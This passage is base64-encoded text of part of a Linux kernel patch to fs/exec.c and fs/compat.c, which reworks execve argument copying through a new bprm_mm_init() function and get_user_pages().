Z2U7Ci0JCQkJaWYgKCFwYWdlKSB7Ci0JCQkJCXJldCA9IC1FTk9NRU07CisJCQlpZiAob2Zmc2V0
ID09IDApCisJCQkJb2Zmc2V0ID0gUEFHRV9TSVpFOworCisJCQlieXRlc190b19jb3B5ID0gb2Zm
c2V0OworCQkJaWYgKGJ5dGVzX3RvX2NvcHkgPiBsZW4pCisJCQkJYnl0ZXNfdG9fY29weSA9IGxl
bjsKKworCQkJb2Zmc2V0IC09IGJ5dGVzX3RvX2NvcHk7CisJCQlwb3MgLT0gYnl0ZXNfdG9fY29w
eTsKKwkJCXN0ciAtPSBieXRlc190b19jb3B5OworCQkJbGVuIC09IGJ5dGVzX3RvX2NvcHk7CisK
KwkJCWlmICgha21hcHBlZF9wYWdlIHx8IGtwb3MgIT0gKHBvcyAmIFBBR0VfTUFTSykpIHsKKwkJ
CQlzdHJ1Y3QgcGFnZSAqcGFnZTsKKworCQkJCXJldCA9IGdldF91c2VyX3BhZ2VzKGN1cnJlbnQs
IGJwcm0tPm1tLCBwb3MsCisJCQkJCQkgICAgIDEsIDEsIDEsICZwYWdlLCBOVUxMKTsKKwkJCQlp
ZiAocmV0IDw9IDApIHsKKwkJCQkJLyogV2UndmUgZXhjZWVkIHRoZSBzdGFjayBybGltaXQuICov
CisJCQkJCXJldCA9IC1FMkJJRzsKIAkJCQkJZ290byBvdXQ7CiAJCQkJfQotCQkJCW5ldyA9IDE7
Ci0JCQl9CiAKLQkJCWlmIChwYWdlICE9IGttYXBwZWRfcGFnZSkgewotCQkJCWlmIChrbWFwcGVk
X3BhZ2UpCisJCQkJaWYgKGttYXBwZWRfcGFnZSkgewogCQkJCQlrdW5tYXAoa21hcHBlZF9wYWdl
KTsKKwkJCQkJcHV0X3BhZ2Uoa21hcHBlZF9wYWdlKTsKKwkJCQl9CiAJCQkJa21hcHBlZF9wYWdl
ID0gcGFnZTsKIAkJCQlrYWRkciA9IGttYXAoa21hcHBlZF9wYWdlKTsKKwkJCQlrcG9zID0gcG9z
ICYgUEFHRV9NQVNLOwogCQkJfQotCQkJaWYgKG5ldyAmJiBvZmZzZXQpCi0JCQkJbWVtc2V0KGth
ZGRyLCAwLCBvZmZzZXQpOwotCQkJYnl0ZXNfdG9fY29weSA9IFBBR0VfU0laRSAtIG9mZnNldDsK
LQkJCWlmIChieXRlc190b19jb3B5ID4gbGVuKSB7Ci0JCQkJYnl0ZXNfdG9fY29weSA9IGxlbjsK
LQkJCQlpZiAobmV3KQotCQkJCQltZW1zZXQoa2FkZHIrb2Zmc2V0K2xlbiwgMCwKLQkJCQkJCVBB
R0VfU0laRS1vZmZzZXQtbGVuKTsKLQkJCX0KLQkJCWVyciA9IGNvcHlfZnJvbV91c2VyKGthZGRy
K29mZnNldCwgY29tcGF0X3B0cihzdHIpLAotCQkJCQkJYnl0ZXNfdG9fY29weSk7Ci0JCQlpZiAo
ZXJyKSB7CisJCQlpZiAoY29weV9mcm9tX3VzZXIoa2FkZHIrb2Zmc2V0LCBjb21wYXRfcHRyKHN0
ciksCisJCQkJCQlieXRlc190b19jb3B5KSkgewogCQkJCXJldCA9IC1FRkFVTFQ7CiAJCQkJZ290
byBvdXQ7CiAJCQl9Ci0KLQkJCXBvcyArPSBieXRlc190b19jb3B5OwotCQkJc3RyICs9IGJ5dGVz
X3RvX2NvcHk7Ci0JCQlsZW4gLT0gYnl0ZXNfdG9fY29weTsKIAkJfQogCX0KIAlyZXQgPSAwOwog
b3V0OgotCWlmIChrbWFwcGVkX3BhZ2UpCisJaWYgKGttYXBwZWRfcGFnZSkgewogCQlrdW5tYXAo
a21hcHBlZF9wYWdlKTsKLQlyZXR1cm4gcmV0OwotfQotCi0jaWZkZWYgQ09ORklHX01NVQotCi0j
ZGVmaW5lIGZyZWVfYXJnX3BhZ2VzKGJwcm0pIGRvIHsgfSB3aGlsZSAoMCkKLQotI2Vsc2UKLQot
c3RhdGljIGlubGluZSB2b2lkIGZyZWVfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJw
cm0pCi17Ci0JaW50IGk7Ci0KLQlmb3IgKGkgPSAwOyBpIDwgTUFYX0FSR19QQUdFUzsgaSsrKSB7
Ci0JCWlmIChicHJtLT5wYWdlW2ldKQotCQkJX19mcmVlX3BhZ2UoYnBybS0+cGFnZVtpXSk7Ci0J
CWJwcm0tPnBhZ2VbaV0gPSBOVUxMOworCQlwdXRfcGFnZShrbWFwcGVkX3BhZ2UpOwogCX0KKwly
ZXR1cm4gcmV0OwogfQogCi0jZW5kaWYgLyogQ09ORklHX01NVSAqLwotCiAvKgogICogY29tcGF0
X2RvX2V4ZWN2ZSgpIGlzIG1vc3RseSBhIGNvcHkgb2YgZG9fZXhlY3ZlKCksIHdpdGggdGhlIGV4
Y2VwdGlvbgogICogdGhhdCBpdCBwcm9jZXNzZXMgMzIgYml0IGFyZ3YgYW5kIGVudnAgcG9pbnRl
cnMuCkBAIC0xNDkxLDcgKzE0NzIsNiBAQCBpbnQgY29tcGF0X2RvX2V4ZWN2ZShjaGFyICogZmls
ZW5hbWUsCiAJc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybTsKIAlzdHJ1Y3QgZmlsZSAqZmlsZTsK
IAlpbnQgcmV0dmFsOwotCWludCBpOwogCiAJcmV0dmFsID0gLUVOT01FTTsKIAlicHJtID0ga3ph
bGxvYyhzaXplb2YoKmJwcm0pLCBHRlBfS0VSTkVMKTsKQEAgLTE1MDUsMjQgKzE0ODUsMTkgQEAg
aW50IGNvbXBhdF9kb19leGVjdmUoY2hhciAqIGZpbGVuYW1lLAogCiAJc2NoZWRfZXhlYygpOwog
Ci0JYnBybS0+cCA9IFBBR0VfU0laRSpNQVhfQVJHX1BBR0VTLXNpemVvZih2b2lkICopOwogCWJw
cm0tPmZpbGUgPSBmaWxlOwogCWJwcm0tPmZpbGVuYW1lID0gZmlsZW5hbWU7CiAJYnBybS0+aW50
ZXJwID0gZmlsZW5hbWU7Ci0JYnBybS0+bW0gPSBtbV9hbGxvYygpOwotCXJldHZhbCA9IC1FTk9N
RU07Ci0JaWYgKCFicHJtLT5tbSkKLQkJZ290byBvdXRfZmlsZTsKIAotCXJldHZhbCA9IGluaXRf
bmV3X2NvbnRleHQoY3VycmVudCwgYnBybS0+bW0pOwotCWlmIChyZXR2YWwgPCAwKQotCQlnb3Rv
IG91dF9tbTsKKwlyZXR2YWwgPSBicHJtX21tX2luaXQoYnBybSk7CisJaWYgKHJldHZhbCkKKwkJ
Z290byBvdXRfZmlsZTsKIAotCWJwcm0tPmFyZ2MgPSBjb21wYXRfY291bnQoYXJndiwgYnBybS0+
cCAvIHNpemVvZihjb21wYXRfdXB0cl90KSk7CisJYnBybS0+YXJnYyA9IGNvbXBhdF9jb3VudChh
cmd2LCBNQVhfQVJHX1NUUklOR1MpOwogCWlmICgocmV0dmFsID0gYnBybS0+YXJnYykgPCAwKQog
CQlnb3RvIG91dF9tbTsKIAotCWJwcm0tPmVudmMgPSBjb21wYXRfY291bnQoZW52cCwgYnBybS0+
cCAvIHNpemVvZihjb21wYXRfdXB0cl90KSk7CisJYnBybS0+ZW52YyA9IGNvbXBhdF9jb3VudChl
bnZwLCBNQVhfQVJHX1NUUklOR1MpOwogCWlmICgocmV0dmFsID0gYnBybS0+ZW52YykgPCAwKQog
CQlnb3RvIG91dF9tbTsKIApAQCAtMTU0NywxMCArMTUyMiw4IEBAIGludCBjb21wYXRfZG9fZXhl
Y3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAlpZiAocmV0dmFsIDwgMCkKIAkJZ290byBvdXQ7CiAKLQly
ZXR2YWwgPSBzZWFyY2hfYmluYXJ5X2hhbmRsZXIoYnBybSwgcmVncyk7CisJcmV0dmFsID0gc2Vh
cmNoX2JpbmFyeV9oYW5kbGVyKGJwcm0scmVncyk7CiAJaWYgKHJldHZhbCA+PSAwKSB7Ci0JCWZy
ZWVfYXJnX3BhZ2VzKGJwcm0pOwotCiAJCS8qIGV4ZWN2ZSBzdWNjZXNzICovCiAJCXNlY3VyaXR5
X2Jwcm1fZnJlZShicHJtKTsKIAkJYWNjdF91cGRhdGVfaW50ZWdyYWxzKGN1cnJlbnQpOwpAQCAt
MTU1OSwxOSArMTUzMiwxMiBAQCBpbnQgY29tcGF0X2RvX2V4ZWN2ZShjaGFyICogZmlsZW5hbWUs
CiAJfQogCiBvdXQ6Ci0JLyogU29tZXRoaW5nIHdlbnQgd3JvbmcsIHJldHVybiB0aGUgaW5vZGUg
YW5kIGZyZWUgdGhlIGFyZ3VtZW50IHBhZ2VzKi8KLQlmb3IgKGkgPSAwIDsgaSA8IE1BWF9BUkdf
UEFHRVMgOyBpKyspIHsKLQkJc3RydWN0IHBhZ2UgKiBwYWdlID0gYnBybS0+cGFnZVtpXTsKLQkJ
aWYgKHBhZ2UpCi0JCQlfX2ZyZWVfcGFnZShwYWdlKTsKLQl9Ci0KIAlpZiAoYnBybS0+c2VjdXJp
dHkpCiAJCXNlY3VyaXR5X2Jwcm1fZnJlZShicHJtKTsKIAogb3V0X21tOgogCWlmIChicHJtLT5t
bSkKLQkJbW1kcm9wKGJwcm0tPm1tKTsKKwkJbW1wdXQgKGJwcm0tPm1tKTsKIAogb3V0X2ZpbGU6
CiAJaWYgKGJwcm0tPmZpbGUpIHsKZGlmZiAtLWdpdCBhL2ZzL2V4ZWMuYyBiL2ZzL2V4ZWMuYwpp
bmRleCBkOTkzZWExLi4yM2EzMzRjIDEwMDY0NAotLS0gYS9mcy9leGVjLmMKKysrIGIvZnMvZXhl
Yy5jCkBAIC0xNzIsNiArMTcyLDc5IEBAIGV4aXQ6CiAJZ290byBvdXQ7CiB9CiAKKyNpZmRlZiBD
T05GSUdfU1RBQ0tfR1JPV1NVUAorI2Vycm9yCUkgYnJva2UgeW91ciBidWlsZCBiZWNhdXNlIEkg
cmVhcmNoaXRlY3RlZCB0aGUgc3RhY2sgY29kZSwgYW5kIEkgXAorCWRvbid0IGhhdmUgYWNjZXNz
IHRvIGFuIGFyY2hpdGVjdHVyZSB3aGVyZSBDT05GSUdfU1RBQ0tfR1JPV1NVUCBpcyBcCisJc2V0
LiAgUGxlYXNlIGZpeGUgdGhpcyBvciBzZW5kIG1lIGEgbWFjaGluZSB3aGljaCBJIGNhbiB0ZXN0
IHRoaXMgb24uIFwKKwlcCisJLS0gT2xsaWUgV2lsZCA8YWF3QGdvb2dsZS5jb20+CisjZW5kaWYK
KworLyogQ3JlYXRlIGEgbmV3IG1tX3N0cnVjdCBhbmQgcG9wdWxhdGUgaXQgd2l0aCBhIHRlbXBv
cmFyeSBzdGFjaworICogdm1fYXJlYV9zdHJ1Y3QuICBXZSBkb24ndCBoYXZlIGVub3VnaCBjb250
ZXh0IGF0IHRoaXMgcG9pbnQgdG8gc2V0IHRoZQorICogc3RhY2sgZmxhZ3MsIHBlcm1pc3Npb25z
LCBhbmQgb2Zmc2V0LCBzbyB3ZSB1c2UgdGVtcG9yYXJ5IHZhbHVlcy4gIFdlJ2xsCisgKiB1cGRh
dGUgdGhlbSBsYXRlciBpbiBzZXR1cF9hcmdfcGFnZXMoKS4gKi8KK2ludCBicHJtX21tX2luaXQo
c3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKK3sKKwlpbnQgZXJyOworCXN0cnVjdCBtbV9zdHJ1
Y3QgKm1tID0gTlVMTDsKKwlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSA9IE5VTEw7CisKKwli
cHJtLT5tbSA9IG1tID0gbW1fYWxsb2MoKTsKKwllcnIgPSAtRU5PTUVNOworCWlmICghbW0pCisJ
CWdvdG8gZXJyOworCisJaWYgKChlcnIgPSBpbml0X25ld19jb250ZXh0KGN1cnJlbnQsIG1tKSkp
CisJCWdvdG8gZXJyOworCisJYnBybS0+dm1hID0gdm1hID0ga21lbV9jYWNoZV96YWxsb2Modm1f
YXJlYV9jYWNoZXAsIFNMQUJfS0VSTkVMKTsKKwllcnIgPSAtRU5PTUVNOworCWlmICghdm1hKQor
CQlnb3RvIGVycjsKKworCWRvd25fd3JpdGUoJm1tLT5tbWFwX3NlbSk7CisJeworCQl2bWEtPnZt
X21tID0gbW07CisKKwkJLyogUGxhY2UgdGhlIHN0YWNrIGF0IHRoZSB0b3Agb2YgdXNlciBtZW1v
cnkuICBMYXRlciwgd2UnbGwKKwkJICogbW92ZSB0aGlzIHRvIGFuIGFwcHJvcHJpYXRlIHBsYWNl
LiAgV2UgZG9uJ3QgdXNlIFNUQUNLX1RPUAorCQkgKiBiZWNhdXNlIHRoYXQgY2FuIGRlcGVuZCBv
biBhdHRyaWJ1dGVzIHdoaWNoIGFyZW4ndAorCQkgKiBjb25maWd1cmVkIHlldC4gKi8KKwkJdm1h
LT52bV9lbmQgPSBUQVNLX1NJWkU7CisJCXZtYS0+dm1fc3RhcnQgPSB2bWEtPnZtX2VuZCAtIFBB
R0VfU0laRTsKKworCQl2bWEtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1M7CisJCXZtYS0+dm1f
cGFnZV9wcm90ID0gcHJvdGVjdGlvbl9tYXBbdm1hLT52bV9mbGFncyAmIDB4N107CisJCWlmICgo
ZXJyID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgdm1hKSkpIHsKKwkJCXVwX3dyaXRlKCZtbS0+bW1h
cF9zZW0pOworCQkJZ290byBlcnI7CisJCX0KKworCQltbS0+c3RhY2tfdm0gPSBtbS0+dG90YWxf
dm0gPSAxOworCX0KKwl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKKworCWJwcm0tPnAgPSB2bWEt
PnZtX2VuZCAtIHNpemVvZih2b2lkICopOworCisJcmV0dXJuIDA7CisKK2VycjoKKwlpZiAodm1h
KSB7CisJCWJwcm0tPnZtYSA9IE5VTEw7CisJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hl
cCwgdm1hKTsKKwl9CisKKwlpZiAobW0pIHsKKwkJYnBybS0+bW0gPSBOVUxMOworCQltbWRyb3Ao
bW0pOworCX0KKworCXJldHVybiBlcnI7Cit9CisKK0VYUE9SVF9TWU1CT0woYnBybV9tbV9pbml0
KTsKKwogLyoKICAqIGNvdW50KCkgY291bnRzIHRoZSBudW1iZXIgb2Ygc3RyaW5ncyBpbiBhcnJh
eSBBUkdWLgogICovCkBAIC0xOTcsMTUgKzI3MCwxNiBAQCBzdGF0aWMgaW50IGNvdW50KGNoYXIg
X191c2VyICogX191c2VyICogCiB9CiAKIC8qCi0gKiAnY29weV9zdHJpbmdzKCknIGNvcGllcyBh
cmd1bWVudC9lbnZpcm9ubWVudCBzdHJpbmdzIGZyb20gdXNlcgotICogbWVtb3J5IHRvIGZyZWUg
cGFnZXMgaW4ga2VybmVsIG1lbS4gVGhlc2UgYXJlIGluIGEgZm9ybWF0IHJlYWR5Ci0gKiB0byBi
ZSBwdXQgZGlyZWN0bHkgaW50byB0aGUgdG9wIG9mIG5ldyB1c2VyIG1lbW9yeS4KKyAqICdjb3B5
X3N0cmluZ3MoKScgY29waWVzIGFyZ3VtZW50L2Vudmlyb25tZW50IHN0cmluZ3MgZnJvbSB0aGUg
b2xkCisgKiBwcm9jZXNzZXMncyBtZW1vcnkgdG8gdGhlIG5ldyBwcm9jZXNzJ3Mgc3RhY2suICBU
aGUgY2FsbCB0byBnZXRfdXNlcl9wYWdlcygpCisgKiBlbnN1cmVzIHRoZSBkZXN0aW5hdGlvbiBw
YWdlIGlzIGNyZWF0ZWQgYW5kIG5vdCBzd2FwcGVkIG91dC4KICAqLwogc3RhdGljIGludCBjb3B5
X3N0cmluZ3MoaW50IGFyZ2MsIGNoYXIgX191c2VyICogX191c2VyICogYXJndiwKIAkJCXN0cnVj
dCBsaW51eF9iaW5wcm0gKmJwcm0pCiB7CiAJc3RydWN0IHBhZ2UgKmttYXBwZWRfcGFnZSA9IE5V
TEw7CiAJY2hhciAqa2FkZHIgPSBOVUxMOworCXVuc2lnbmVkIGxvbmcga3BvcyA9IDA7CiAJaW50
IHJldDsKIAogCXdoaWxlIChhcmdjLS0gPiAwKSB7CkBAIC0yMTQsNjkgKzI4OCw2OCBAQCBzdGF0
aWMgaW50IGNvcHlfc3RyaW5ncyhpbnQgYXJnYywgY2hhciBfCiAJCXVuc2lnbmVkIGxvbmcgcG9z
OwogCiAJCWlmIChnZXRfdXNlcihzdHIsIGFyZ3YrYXJnYykgfHwKLQkJCQkhKGxlbiA9IHN0cm5s
ZW5fdXNlcihzdHIsIGJwcm0tPnApKSkgeworCQkJCSEobGVuID0gc3Rybmxlbl91c2VyKHN0ciwg
TUFYX0FSR19TVFJMRU4pKSkgewogCQkJcmV0ID0gLUVGQVVMVDsKIAkJCWdvdG8gb3V0OwogCQl9
CiAKLQkJaWYgKGJwcm0tPnAgPCBsZW4pICB7CisJCWlmIChNQVhfQVJHX1NUUkxFTiA8IGxlbikg
ewogCQkJcmV0ID0gLUUyQklHOwogCQkJZ290byBvdXQ7CiAJCX0KIAotCQlicHJtLT5wIC09IGxl
bjsKLQkJLyogWFhYOiBhZGQgYXJjaGl0ZWN0dXJlIHNwZWNpZmljIG92ZXJmbG93IGNoZWNrIGhl
cmUuICovCisJCS8qIFdlJ3JlIGdvaW5nIHRvIHdvcmsgb3VyIHdheSBiYWNrd29yZHMuICovCiAJ
CXBvcyA9IGJwcm0tPnA7CisJCXN0ciArPSBsZW47CisJCWJwcm0tPnAgLT0gbGVuOwogCiAJCXdo
aWxlIChsZW4gPiAwKSB7Ci0JCQlpbnQgaSwgbmV3LCBlcnI7CiAJCQlpbnQgb2Zmc2V0LCBieXRl
c190b19jb3B5OwotCQkJc3RydWN0IHBhZ2UgKnBhZ2U7CiAKIAkJCW9mZnNldCA9IHBvcyAlIFBB
R0VfU0laRTsKLQkJCWkgPSBwb3MvUEFHRV9TSVpFOwotCQkJcGFnZSA9IGJwcm0tPnBhZ2VbaV07
Ci0JCQluZXcgPSAwOwotCQkJaWYgKCFwYWdlKSB7Ci0JCQkJcGFnZSA9IGFsbG9jX3BhZ2UoR0ZQ
X0hJR0hVU0VSKTsKLQkJCQlicHJtLT5wYWdlW2ldID0gcGFnZTsKLQkJCQlpZiAoIXBhZ2UpIHsK
LQkJCQkJcmV0ID0gLUVOT01FTTsKKwkJCWlmIChvZmZzZXQgPT0gMCkKKwkJCQlvZmZzZXQgPSBQ
QUdFX1NJWkU7CisKKwkJCWJ5dGVzX3RvX2NvcHkgPSBvZmZzZXQ7CisJCQlpZiAoYnl0ZXNfdG9f
Y29weSA+IGxlbikKKwkJCQlieXRlc190b19jb3B5ID0gbGVuOworCisJCQlvZmZzZXQgLT0gYnl0
ZXNfdG9fY29weTsKKwkJCXBvcyAtPSBieXRlc190b19jb3B5OworCQkJc3RyIC09IGJ5dGVzX3Rv
X2NvcHk7CisJCQlsZW4gLT0gYnl0ZXNfdG9fY29weTsKKworCQkJaWYgKCFrbWFwcGVkX3BhZ2Ug
fHwga3BvcyAhPSAocG9zICYgUEFHRV9NQVNLKSkgeworCQkJCXN0cnVjdCBwYWdlICpwYWdlOwor
CisJCQkJcmV0ID0gZ2V0X3VzZXJfcGFnZXMoY3VycmVudCwgYnBybS0+bW0sIHBvcywKKwkJCQkJ
CSAgICAgMSwgMSwgMSwgJnBhZ2UsIE5VTEwpOworCQkJCWlmIChyZXQgPD0gMCkgeworCQkJCQkv
KiBXZSd2ZSBleGNlZWQgdGhlIHN0YWNrIHJsaW1pdC4gKi8KKwkJCQkJcmV0ID0gLUUyQklHOwog
CQkJCQlnb3RvIG91dDsKIAkJCQl9Ci0JCQkJbmV3ID0gMTsKLQkJCX0KIAotCQkJaWYgKHBhZ2Ug
IT0ga21hcHBlZF9wYWdlKSB7Ci0JCQkJaWYgKGttYXBwZWRfcGFnZSkKKwkJCQlpZiAoa21hcHBl
ZF9wYWdlKSB7CiAJCQkJCWt1bm1hcChrbWFwcGVkX3BhZ2UpOworCQkJCQlwdXRfcGFnZShrbWFw
cGVkX3BhZ2UpOworCQkJCX0KIAkJCQlrbWFwcGVkX3BhZ2UgPSBwYWdlOwogCQkJCWthZGRyID0g
a21hcChrbWFwcGVkX3BhZ2UpOworCQkJCWtwb3MgPSBwb3MgJiBQQUdFX01BU0s7CiAJCQl9Ci0J
CQlpZiAobmV3ICYmIG9mZnNldCkKLQkJCQltZW1zZXQoa2FkZHIsIDAsIG9mZnNldCk7Ci0JCQli
eXRlc190b19jb3B5ID0gUEFHRV9TSVpFIC0gb2Zmc2V0OwotCQkJaWYgKGJ5dGVzX3RvX2NvcHkg
PiBsZW4pIHsKLQkJCQlieXRlc190b19jb3B5ID0gbGVuOwotCQkJCWlmIChuZXcpCi0JCQkJCW1l
bXNldChrYWRkcitvZmZzZXQrbGVuLCAwLAotCQkJCQkJUEFHRV9TSVpFLW9mZnNldC1sZW4pOwot
CQkJfQotCQkJZXJyID0gY29weV9mcm9tX3VzZXIoa2FkZHIrb2Zmc2V0LCBzdHIsIGJ5dGVzX3Rv
X2NvcHkpOwotCQkJaWYgKGVycikgeworCQkJaWYgKGNvcHlfZnJvbV91c2VyKGthZGRyK29mZnNl
dCwgc3RyLCBieXRlc190b19jb3B5KSkgewogCQkJCXJldCA9IC1FRkFVTFQ7CiAJCQkJZ290byBv
dXQ7CiAJCQl9Ci0KLQkJCXBvcyArPSBieXRlc190b19jb3B5OwotCQkJc3RyICs9IGJ5dGVzX3Rv
X2NvcHk7Ci0JCQlsZW4gLT0gYnl0ZXNfdG9fY29weTsKIAkJfQogCX0KIAlyZXQgPSAwOwogb3V0
OgotCWlmIChrbWFwcGVkX3BhZ2UpCisJaWYgKGttYXBwZWRfcGFnZSkgewogCQlrdW5tYXAoa21h
cHBlZF9wYWdlKTsKKwkJcHV0X3BhZ2Uoa21hcHBlZF9wYWdlKTsKKwl9CiAJcmV0dXJuIHJldDsK
IH0KIApAQCAtMjk1LDE1NyArMzY4LDc0IEBAIGludCBjb3B5X3N0cmluZ3Nfa2VybmVsKGludCBh
cmdjLGNoYXIgKioKIAogRVhQT1JUX1NZTUJPTChjb3B5X3N0cmluZ3Nfa2VybmVsKTsKIAotI2lm
ZGVmIENPTkZJR19NTVUKLS8qCi0gKiBUaGlzIHJvdXRpbmUgaXMgdXNlZCB0byBtYXAgaW4gYSBw
YWdlIGludG8gYW4gYWRkcmVzcyBzcGFjZTogbmVlZGVkIGJ5Ci0gKiBleGVjdmUoKSBmb3IgdGhl
IGluaXRpYWwgc3RhY2sgYW5kIGVudmlyb25tZW50IHBhZ2VzLgotICoKLSAqIHZtYS0+dm1fbW0t
Pm1tYXBfc2VtIGlzIGhlbGQgZm9yIHdyaXRpbmcuCi0gKi8KLXZvaWQgaW5zdGFsbF9hcmdfcGFn
ZShzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKLQkJCXN0cnVjdCBwYWdlICpwYWdlLCB1bnNp
Z25lZCBsb25nIGFkZHJlc3MpCi17Ci0Jc3RydWN0IG1tX3N0cnVjdCAqbW0gPSB2bWEtPnZtX21t
OwotCXB0ZV90ICogcHRlOwotCXNwaW5sb2NrX3QgKnB0bDsKLQotCWlmICh1bmxpa2VseShhbm9u
X3ZtYV9wcmVwYXJlKHZtYSkpKQotCQlnb3RvIG91dDsKLQotCWZsdXNoX2RjYWNoZV9wYWdlKHBh
Z2UpOwotCXB0ZSA9IGdldF9sb2NrZWRfcHRlKG1tLCBhZGRyZXNzLCAmcHRsKTsKLQlpZiAoIXB0
ZSkKLQkJZ290byBvdXQ7Ci0JaWYgKCFwdGVfbm9uZSgqcHRlKSkgewotCQlwdGVfdW5tYXBfdW5s
b2NrKHB0ZSwgcHRsKTsKLQkJZ290byBvdXQ7Ci0JfQotCWluY19tbV9jb3VudGVyKG1tLCBhbm9u
X3Jzcyk7Ci0JbHJ1X2NhY2hlX2FkZF9hY3RpdmUocGFnZSk7Ci0Jc2V0X3B0ZV9hdChtbSwgYWRk
cmVzcywgcHRlLCBwdGVfbWtkaXJ0eShwdGVfbWt3cml0ZShta19wdGUoCi0JCQkJCXBhZ2UsIHZt
YS0+dm1fcGFnZV9wcm90KSkpKTsKLQlwYWdlX2FkZF9uZXdfYW5vbl9ybWFwKHBhZ2UsIHZtYSwg
YWRkcmVzcyk7Ci0JcHRlX3VubWFwX3VubG9jayhwdGUsIHB0bCk7Ci0KLQkvKiBubyBuZWVkIGZv
ciBmbHVzaF90bGIgKi8KLQlyZXR1cm47Ci1vdXQ6Ci0JX19mcmVlX3BhZ2UocGFnZSk7Ci0JZm9y
Y2Vfc2lnKFNJR0tJTEwsIGN1cnJlbnQpOwotfQotCiAjZGVmaW5lIEVYVFJBX1NUQUNLX1ZNX1BB
R0VTCTIwCS8qIHJhbmRvbSAqLwogCisvKiBGaW5hbGl6ZXMgdGhlIHN0YWNrIHZtX2FyZWFfc3Ry
dWN0LiAgVGhlIGZsYWdzIGFuZCBwZXJtaXNzaW9ucyBhcmUgdXBkYXRlZCwKKyAqIHRoZSBzdGFj
ayBpcyBvcHRpb25hbGx5IHJlbG9jYXRlZCwgYW5kIHNvbWUgZXh0cmEgc3BhY2UgaXMgYWRkZWQu
CisgKi8KIGludCBzZXR1cF9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSwKIAkJ
ICAgIHVuc2lnbmVkIGxvbmcgc3RhY2tfdG9wLAogCQkgICAgaW50IGV4ZWN1dGFibGVfc3RhY2sp
CiB7Ci0JdW5zaWduZWQgbG9uZyBzdGFja19iYXNlOwotCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAq
bXBudDsKKwl1bnNpZ25lZCBsb25nIHJldDsKKwl1bnNpZ25lZCBsb25nIHN0YWNrX2Jhc2UsIHN0
YWNrX3NoaWZ0OwogCXN0cnVjdCBtbV9zdHJ1Y3QgKm1tID0gY3VycmVudC0+bW07Ci0JaW50IGks
IHJldDsKLQlsb25nIGFyZ19zaXplOwogCi0jaWZkZWYgQ09ORklHX1NUQUNLX0dST1dTVVAKLQkv
KiBNb3ZlIHRoZSBhcmd1bWVudCBhbmQgZW52aXJvbm1lbnQgc3RyaW5ncyB0byB0aGUgYm90dG9t
IG9mIHRoZQotCSAqIHN0YWNrIHNwYWNlLgotCSAqLwotCWludCBvZmZzZXQsIGo7Ci0JY2hhciAq
dG8sICpmcm9tOwotCi0JLyogU3RhcnQgYnkgc2hpZnRpbmcgYWxsIHRoZSBwYWdlcyBkb3duICov
Ci0JaSA9IDA7Ci0JZm9yIChqID0gMDsgaiA8IE1BWF9BUkdfUEFHRVM7IGorKykgewotCQlzdHJ1
Y3QgcGFnZSAqcGFnZSA9IGJwcm0tPnBhZ2Vbal07Ci0JCWlmICghcGFnZSkKLQkJCWNvbnRpbnVl
OwotCQlicHJtLT5wYWdlW2krK10gPSBwYWdlOwotCX0KKwlCVUdfT04oc3RhY2tfdG9wID4gVEFT
S19TSVpFKTsKKwlCVUdfT04oc3RhY2tfdG9wICYgflBBR0VfTUFTSyk7CiAKLQkvKiBOb3cgbW92
ZSB0aGVtIHdpdGhpbiB0aGVpciBwYWdlcyAqLwotCW9mZnNldCA9IGJwcm0tPnAgJSBQQUdFX1NJ
WkU7Ci0JdG8gPSBrbWFwKGJwcm0tPnBhZ2VbMF0pOwotCWZvciAoaiA9IDE7IGogPCBpOyBqKysp
IHsKLQkJbWVtbW92ZSh0bywgdG8gKyBvZmZzZXQsIFBBR0VfU0laRSAtIG9mZnNldCk7Ci0JCWZy
b20gPSBrbWFwKGJwcm0tPnBhZ2Vbal0pOwotCQltZW1jcHkodG8gKyBQQUdFX1NJWkUgLSBvZmZz
ZXQsIGZyb20sIG9mZnNldCk7Ci0JCWt1bm1hcChicHJtLT5wYWdlW2ogLSAxXSk7Ci0JCXRvID0g
ZnJvbTsKLQl9Ci0JbWVtbW92ZSh0bywgdG8gKyBvZmZzZXQsIFBBR0VfU0laRSAtIG9mZnNldCk7
Ci0Ja3VubWFwKGJwcm0tPnBhZ2VbaiAtIDFdKTsKLQotCS8qIExpbWl0IHN0YWNrIHNpemUgdG8g
MUdCICovCi0Jc3RhY2tfYmFzZSA9IGN1cnJlbnQtPnNpZ25hbC0+cmxpbVtSTElNSVRfU1RBQ0td
LnJsaW1fbWF4OwotCWlmIChzdGFja19iYXNlID4gKDEgPDwgMzApKQotCQlzdGFja19iYXNlID0g
MSA8PCAzMDsKLQlzdGFja19iYXNlID0gUEFHRV9BTElHTihzdGFja190b3AgLSBzdGFja19iYXNl
KTsKLQotCS8qIEFkanVzdCBicHJtLT5wIHRvIHBvaW50IHRvIHRoZSBlbmQgb2YgdGhlIHN0cmlu
Z3MuICovCi0JYnBybS0+cCA9IHN0YWNrX2Jhc2UgKyBQQUdFX1NJWkUgKiBpIC0gb2Zmc2V0Owot
Ci0JbW0tPmFyZ19zdGFydCA9IHN0YWNrX2Jhc2U7Ci0JYXJnX3NpemUgPSBpIDw8IFBBR0VfU0hJ
RlQ7Ci0KLQkvKiB6ZXJvIHBhZ2VzIHRoYXQgd2VyZSBjb3BpZWQgYWJvdmUgKi8KLQl3aGlsZSAo
aSA8IE1BWF9BUkdfUEFHRVMpCi0JCWJwcm0tPnBhZ2VbaSsrXSA9IE5VTEw7Ci0jZWxzZQotCXN0
YWNrX2Jhc2UgPSBhcmNoX2FsaWduX3N0YWNrKHN0YWNrX3RvcCAtIE1BWF9BUkdfUEFHRVMqUEFH
RV9TSVpFKTsKKwlzdGFja19iYXNlID0gYXJjaF9hbGlnbl9zdGFjayhzdGFja190b3AgLSBtbS0+
